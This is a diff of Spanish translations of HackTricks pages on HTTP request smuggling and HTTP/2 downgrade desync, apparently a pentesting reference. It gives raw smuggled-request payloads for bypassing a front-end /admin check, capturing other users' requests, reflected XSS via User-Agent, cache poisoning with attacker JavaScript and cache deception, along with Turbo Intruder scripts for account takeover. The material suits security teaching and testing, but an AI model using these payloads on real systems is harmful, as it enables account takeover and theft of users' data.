A veces, los **proxies del front-end realizan algunas verificaciones de seguridad**. Puedes evitarlos abusando de HTTP Request Smuggling, ya que podrás **burlar las protecciones**. Por ejemplo, en este caso **no puedes acceder a `/admin` desde el exterior** y el proxy del front-end lo verifica, pero este **proxy no verifica la solicitud incrustada**:
|
||||
A veces los **proxies front-end realizan algunas comprobaciones de seguridad**. Puedes evitarlas abusando del HTTP Request Smuggling ya que podrás **eludir las protecciones**. Por ejemplo, en este ejemplo **no puedes acceder a `/admin` desde el exterior** y el proxy front-end está comprobando eso, pero este **proxy no está comprobando la solicitud embebida**:
|
||||
|
||||
**CL.TE**
|
||||
|
||||
|
@ -210,13 +213,13 @@ A veces, los **proxies del front-end realizan algunas verificaciones de segurida
|
|||
`0`\
|
||||
`\`
|
||||
|
||||
### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revelando la reescritura de solicitudes front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
En muchas aplicaciones, el **servidor del front-end realiza una reescritura de las solicitudes** antes de enviarlas al servidor del back-end, generalmente agregando algunas cabeceras de solicitud adicionales.\
|
||||
Una acción común es **agregar a la solicitud la cabecera** `X-Forwarded-For: <IP del cliente>` u otra cabecera similar para que el back-end conozca la IP del cliente.\
|
||||
A veces, si puedes **encontrar qué nuevos valores se agregan** a la solicitud, podrías ser capaz de **burlar las protecciones** y **acceder a información oculta**/**puntos finales**.
|
||||
En muchas aplicaciones, el **servidor front-end realiza alguna reescritura de solicitudes** antes de que sean enviadas al servidor back-end, típicamente añadiendo algunos encabezados adicionales a la solicitud.\
|
||||
Una práctica común es **añadir al encabezado de la solicitud** `X-Forwarded-For: <IP del cliente>` o algún encabezado similar para que el back-end conozca la IP del cliente.\
|
||||
A veces, si puedes **encontrar qué nuevos valores se añaden** a la solicitud podrías ser capaz de **eludir protecciones** y **acceder a información/endpoint ocultos**.
|
||||
|
||||
Para descubrir cómo el proxy reescribe la solicitud, necesitas **encontrar un parámetro POST cuyo valor el back-end reflejará** en la respuesta. Luego, utiliza este parámetro como el último y utiliza una explotación como esta:
|
||||
Para descubrir cómo el proxy está reescribiendo la solicitud necesitas **encontrar un parámetro POST que el back-end reflejará su valor** en la respuesta. Luego, usa este parámetro como el último y utiliza un exploit como este:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -227,16 +230,16 @@ Para descubrir cómo el proxy reescribe la solicitud, necesitas **encontrar un p
|
|||
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
|
||||
`search=`
|
||||
|
||||
En este caso, la siguiente solicitud se agregará después de `search=`, que también es **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, se **reflejarán las cabeceras de la siguiente solicitud**.
|
||||
En este caso la siguiente solicitud se añadirá después de `search=`, que es también **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, va a **reflejar los encabezados de la siguiente solicitud**.
|
||||
|
||||
Ten en cuenta que **solo se reflejará la longitud indicada en la cabecera `Content-Length` de la solicitud incrustada**. Si utilizas un número bajo, solo se reflejarán unos pocos bytes, si utilizas un número mayor que la longitud de todas las cabeceras, entonces la solicitud incrustada generará un error. Por lo tanto, debes **comenzar** con un **número pequeño** y **aumentarlo** hasta que veas todo lo que deseas ver.\
|
||||
También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL**, pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
||||
Nota que **solo la longitud indicada en el encabezado `Content-Length` de la solicitud embebida se reflejará**. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud embebida generará un error. Entonces, deberías **comenzar** con un **número pequeño** e **incrementarlo** hasta que veas todo lo que querías ver.\
|
||||
Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
|
||||
|
||||
Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy del front-end reescribe la solicitud.
|
||||
Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy front-end está reescribiendo la solicitud.
|
||||
|
||||
### Capturando solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes agregar la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
|
||||
Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes añadir la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
|
||||
|
@ -254,19 +257,20 @@ Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de l
|
|||
\`\`\
|
||||
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
|
||||
|
||||
En este caso, el valor del **parámetro comment** se guardará dentro de un comentario de una publicación en la página que está **disponible públicamente**, por lo que aparecerá un **comentario con el contenido de la siguiente solicitud**.
|
||||
En este caso, el valor del **parámetro comentario** se **guardará dentro de un comentario** de una publicación en la página que está **disponible públicamente**, por lo que un **comentario aparecerá con el contenido de la siguiente solicitud**.
|
||||
|
||||
_Una limitación de esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud smuggled. Para envíos de formularios codificados en URL, esto será el carácter `&`, lo que significa que el contenido que se almacene de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
|
||||
_Una limitación con esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, será el carácter `&`, lo que significa que el contenido que se almacena de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
|
||||
|
||||
También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL**, pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
|
||||
### Uso de HTTP request smuggling para explotar XSS reflejado
|
||||
Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
|
||||
|
||||
Si la página web también es **vulnerable a XSS reflejado**, puedes abusar de HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado a través de HTTP Request Smuggling tiene algunas ventajas:
|
||||
### Usando HTTP Request Smuggling para explotar XSS reflejado
|
||||
|
||||
Si la página web también es **vulnerable a XSS reflejado**, puedes abusar del HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas:
|
||||
|
||||
* **No requiere interacción con los usuarios víctimas**
|
||||
* Se puede utilizar para **explotar** el comportamiento XSS en partes de la solicitud que **no se pueden controlar fácilmente en un ataque de XSS reflejado normal**, como las cabeceras de la solicitud HTTP.
|
||||
* Se puede utilizar para **explotar** comportamientos XSS en partes de la solicitud que **no se pueden controlar trivialmente en un ataque XSS reflejado normal**, como los encabezados de las solicitudes HTTP.
|
||||
|
||||
Si una web es vulnerable a XSS reflejado en la cabecera User-Agent, puedes usar esta carga útil para explotarlo:
|
||||
Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar este payload para explotarlo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
|
||||
|
@ -285,9 +289,9 @@ Si una web es vulnerable a XSS reflejado en la cabecera User-Agent, puedes usar
|
|||
\`\`\
|
||||
`A=`
|
||||
|
||||
### Uso de HTTP request smuggling para convertir una redirección en el sitio en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### Usando HTTP Request Smuggling para convertir una redirección interna en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y colocan el nombre de host de la cabecera `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud para una carpeta sin una barra diagonal al final recibe una redirección a la misma carpeta incluyendo la barra diagonal:
|
||||
Muchas aplicaciones realizan redirecciones internas de una URL a otra y colocan el nombre de host del encabezado `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud de una carpeta sin una barra inclinada al final recibe una redirección a la misma carpeta incluyendo la barra inclinada:
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: normal-website.com`\
|
||||
|
@ -295,7 +299,7 @@ Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y coloc
|
|||
`HTTP/1.1 301 Moved Permanently`\
|
||||
`Location: https://normal-website.com/home/`
|
||||
|
||||
Este comportamiento normalmente se considera inofensivo, pero se puede explotar en un ataque de smuggling de solicitud para redirigir a otros usuarios a un dominio externo. Por ejemplo:
|
||||
Este comportamiento normalmente se considera inofensivo, pero puede ser explotado en un ataque de contrabando de solicitudes para redirigir a otros usuarios a un dominio externo. Por ejemplo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -307,7 +311,7 @@ Este comportamiento normalmente se considera inofensivo, pero se puede explotar
|
|||
`Host: attacker-website.com`\
|
||||
`Foo: X`
|
||||
|
||||
La solicitud smuggled provocará una redirección al sitio web del atacante, lo cual afectará la solicitud del próximo usuario que sea procesada por el servidor backend. Por ejemplo:
|
||||
La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la siguiente solicitud del usuario que sea procesada por el servidor back-end. Por ejemplo:
|
||||
|
||||
`GET /home HTTP/1.1`\
|
||||
`Host: attacker-website.com`\
|
||||
|
@ -319,15 +323,15 @@ La solicitud smuggled provocará una redirección al sitio web del atacante, lo
|
|||
|
||||
Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.
|
||||
|
||||
### Uso de HTTP request smuggling para realizar envenenamiento de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
### Usando HTTP Request Smuggling para realizar envenenamiento de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
Si alguna parte de la **infraestructura front-end realiza el almacenamiento en caché de contenido** (generalmente por razones de rendimiento), es posible que se pueda envenenar esa caché modificando la respuesta del servidor.
|
||||
Si alguna parte de la **infraestructura front-end realiza caché de contenido** (generalmente por razones de rendimiento) entonces **podría ser posible envenenar esa caché modificando la respuesta del servidor**.
|
||||
|
||||
Ya hemos visto cómo modificar el valor esperado devuelto por el servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada esté solicitando `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará en caché con el contenido de `/index.html`, lo que hará que `/static/include.js` sea inaccesible para los clientes (¿DoS?).
|
||||
Ya hemos visto cómo modificar el valor de retorno esperado del servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada está pidiendo `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará en caché con el contenido de `/index.html` haciendo `/static/include.js` inaccesible para los clientes (¿DoS?).
|
||||
|
||||
Ten en cuenta que esto es aún más interesante si encuentras alguna **Redirección Abierta** o alguna **redirección en el sitio a redirección abierta** (última sección). Porque podrías ser capaz de **cambiar los valores de caché** de `/static/include.js` con los de un script controlado por ti (haciendo un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
|
||||
Nota que esto es aún más interesante si encuentras algún **Open Redirect** o alguna **redirección interna a redirección abierta** (última sección). Porque, podrías ser capaz de **cambiar los valores de caché** de `/static/include.js` con **los de un script controlado por ti** (haciendo un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
|
||||
|
||||
En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección en el sitio a redirección abierta** para modificar el contenido de la caché de `/static/include.js` y **servir código JS controlado** por el atacante:
|
||||
En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección interna a redirección abierta** para modificar los contenidos de la caché de `/static/include.js` para **servir código JS controlado** por el atacante:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable.net`\
|
||||
|
@ -343,19 +347,20 @@ En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché
|
|||
\`\`\
|
||||
`x=1`
|
||||
|
||||
Observa cómo la solicitud embebida está solicitando `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4` y **utilizará el valor de la cabecera Host** para indicar el dominio. Por lo tanto, puedes **modificar la cabecera Host** para apuntar al servidor del atacante y la redirección utilizará ese dominio (**redirección en el sitio a redirección abierta**).
|
||||
Nota cómo la solicitud embebida está pidiendo `/post/next?postId=3` Esta solicitud será redirigida a `/post?postId=4` y **usará el valor del encabezado Host** para indicar el dominio. Por lo tanto, puedes **modificar el encabezado Host** para apuntar al servidor del atacante y la redirección usará ese dominio (**redirección interna a redirección abierta**).
|
||||
|
||||
Luego, **después de envenenar el socket**, debes enviar una solicitud **GET** a \*\*`/static/include.js`\*\* esta solicitud será **envenenada** por la solicitud **redirección en el sitio a redirección abierta** y **obtendrá el contenido del script controlado por el atacante**.
|
||||
Luego, **después de envenenar el socket**, necesitas enviar una **solicitud GET** a **`/static/include.js`** esta solicitud será **envenenada** por la solicitud de **redirección interna a redirección abierta** y **obtendrá los contenidos del script controlado por el atacante**.
|
||||
|
||||
La próxima vez que alguien solicite `/static/include.js`, se servirán los contenidos en caché del script del atacante (XSS general).
|
||||
### Uso de la técnica de solicitud HTTP smuggling para realizar engaño en la caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
La próxima vez que alguien pida `/static/include.js` se servirán los contenidos en caché del script del atacante (XSS general).
|
||||
|
||||
> **¿Cuál es la diferencia entre envenenamiento de caché web y engaño en la caché web?**
|
||||
### Usando HTTP Request Smuggling para realizar decepción de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **¿Cuál es la diferencia entre envenenamiento de caché web y decepción de caché web?**
|
||||
>
|
||||
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> * En el **engaño en la caché web**, el atacante hace que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> * En la **decepción de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y el atacante luego recupera este contenido de la caché.
|
||||
|
||||
En esta variante, el atacante introduce una solicitud que devuelve contenido sensible específico del usuario. Por ejemplo:
|
||||
En esta variante, el atacante contrabandea una solicitud que devuelve algún contenido sensible específico del usuario. Por ejemplo:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -366,12 +371,12 @@ En esta variante, el atacante introduce una solicitud que devuelve contenido sen
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
|
||||
Si el **veneno llega a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **almacenado en caché**. El contenido de `/private/messages` de la víctima se almacenará en `/someimage.png` y el atacante podrá robarlo.\
|
||||
Ten en cuenta que el **atacante no sabe qué contenido estático estaba intentando acceder la víctima**, por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todos** los contenidos estáticos y **buscar los datos privados**.
|
||||
Si el **envenenamiento alcanza a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **almacenado en caché**. Los contenidos de `/private/messages` de la víctima se almacenarán en caché en `/someimage.png` y el atacante podrá robarlos.\
|
||||
Nota que el **atacante no sabe qué contenido estático estaba intentando acceder la víctima** por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todo** el contenido estático y **buscar los datos privados**.
|
||||
|
||||
### Armando la técnica de solicitud HTTP smuggling con desincronización de respuesta HTTP
|
||||
### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
|
||||
|
||||
¿Has encontrado alguna vulnerabilidad de solicitud HTTP smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
|
||||
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
|
@ -381,7 +386,7 @@ Ten en cuenta que el **atacante no sabe qué contenido estático estaba intentan
|
|||
|
||||
### CL.TE
|
||||
|
||||
Desde [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
|
@ -422,7 +427,7 @@ table.add(req)
|
|||
```
|
||||
### TE.CL
|
||||
|
||||
Desde: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -476,7 +481,7 @@ table.add(req)
|
|||
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el contrabando de solicitudes.
|
||||
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el smuggling de solicitudes.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -490,12 +495,14 @@ table.add(req)
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,45 +1,158 @@
|
|||
# Smuggling de solicitudes en downgrades HTTP/2
|
||||
# Request Smuggling en Downgrades de HTTP/2
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Orígenes
|
||||
|
||||
El origen principal de esta vulnerabilidad es el hecho de que el **proxy inverso** va a **hablar con el cliente** usando **HTTP/2**, pero luego va a **transformar** esa **comunicación** con el **servidor de back-end** a **HTTP/1.1**.
|
||||
El principal origen de esta vulnerabilidad es el hecho de que el **reverse proxy** va a **comunicarse con el cliente** usando **HTTP/2** pero luego va a **transformar** esa **comunicación** con el **servidor back-end** a **HTTP/1.1**.
|
||||
|
||||
![](<../../.gitbook/assets/image (636) (1).png>)
|
||||
|
||||
El problema con este enfoque es que el **usuario** va a poder **inyectar** innecesariamente **encabezados** en la **comunicación HTTP/2** que probablemente **no serán verificados** por el proxy. Pero luego, cuando se **inyectan ciegamente en la comunicación HTTP/1.1**, **se puede realizar un ataque de smuggling de solicitudes**.
|
||||
El problema con este enfoque es que el **usuario** va a poder **inyectar** **encabezados** innecesarios en la **comunicación HTTP/2** que probablemente **no serán verificados** por el proxy. Pero luego, cuando estos son **inyectados a ciegas en la comunicación HTTP/1.1**, **se puede realizar un ataque de request smuggling**.
|
||||
|
||||
## Ejemplos
|
||||
|
||||
### H2.CL Desync
|
||||
### Desincronización H2.CL
|
||||
|
||||
La especificación HTTP/2 indica que el **encabezado Content-Length no es necesario pero puede ser indicado**. Por lo tanto, el **proxy inverso** va a **tratar todo el contenido enviado por los usuarios** como la solicitud, pero luego, cuando **se produce el downgrade a HTTP/1.1**, este **encabezado** va a ser **inyectado** en la **solicitud** y, por lo tanto, el **servidor de back-end tratará la solicitud como 2 solicitudes diferentes**, como se puede ver en la imagen a continuación:
|
||||
La especificación de HTTP/2 indica que el **encabezado Content-Length no es necesario pero puede ser indicado**. Por lo tanto, el **reverse proxy** tratará todo el contenido enviado por los usuarios como la solicitud, pero luego, al **degradar a HTTP/1.1**, este **encabezado** va a ser **inyectado** en la **solicitud** y por lo tanto, el **servidor back-end tratará la solicitud como 2 solicitudes diferentes** como puedes ver en la imagen a continuación:
|
||||
|
||||
![](<../../.gitbook/assets/image (639).png>)
|
||||
|
||||
### H2.TE Desync URL Token Hijack
|
||||
### Secuestro de Token de URL H2.TE Desync
|
||||
|
||||
La especificación HTTP/2 también indica que **cualquier mensaje que contenga campos de encabezado específicos de la conexión DEBE ser tratado como malformado... pero si no sigues esta regla, eres vulnerable**.
|
||||
La especificación de HTTP/2 también indica que **cualquier mensaje que contenga campos de encabezado específicos de la conexión DEBE ser tratado como malformado... pero si no sigues esta regla, eres vulnerable**.
|
||||
|
||||
Esta técnica fue abusada en el balanceador de carga de AWS, por lo que asegurarse de que los usuarios accedan a un encabezado Host que apunte a un servidor controlado por el atacante les hará acceder a ese servidor.
|
||||
Esta técnica fue abusada en el balanceador de carga de AWS, por lo que asegurarse de que los usuarios accedan a un encabezado Host apuntando a un servidor controlado por el atacante hará que accedan a ese servidor.
|
||||
|
||||
![](<../../.gitbook/assets/image (631) (1).png>)
|
||||
|
||||
### H2.TE Desync Header Hijack
|
||||
### Secuestro de Encabezado H2.TE Desync
|
||||
|
||||
Esta es exactamente la misma técnica que antes, pero al revisar las solicitudes, James notó que los clientes le estaban pidiendo que les enviara sus credenciales, por lo que simplemente modificó su servidor para permitir CORS para enviarle las credenciales de las personas:
|
||||
Esta es exactamente la misma técnica que antes, pero revisando las solicitudes James notó que los clientes le pedían enviarle sus credenciales, así que simplemente modificó su servidor para permitir CORS para enviarle las credenciales de las personas:
|
||||
|
||||
![](<../../.gitbook/assets/image (662) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE a través
|
||||
### H2.TE vía Inyección de Encabezado de Solicitud
|
||||
|
||||
**HTTP/2 tampoco permitirá poner caracteres no permitidos en los encabezados**, pero si el servidor **no respeta** esta regla, puedes **inyectar encabezados arbitrarios** cuando la comunicación se **degrada** a HTTP/1.1.
|
||||
|
||||
En este caso **se inyectó el encabezado Transfer-Encoding**.
|
||||
|
||||
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### H2.TE vía Inyección de Nombre de Encabezado
|
||||
|
||||
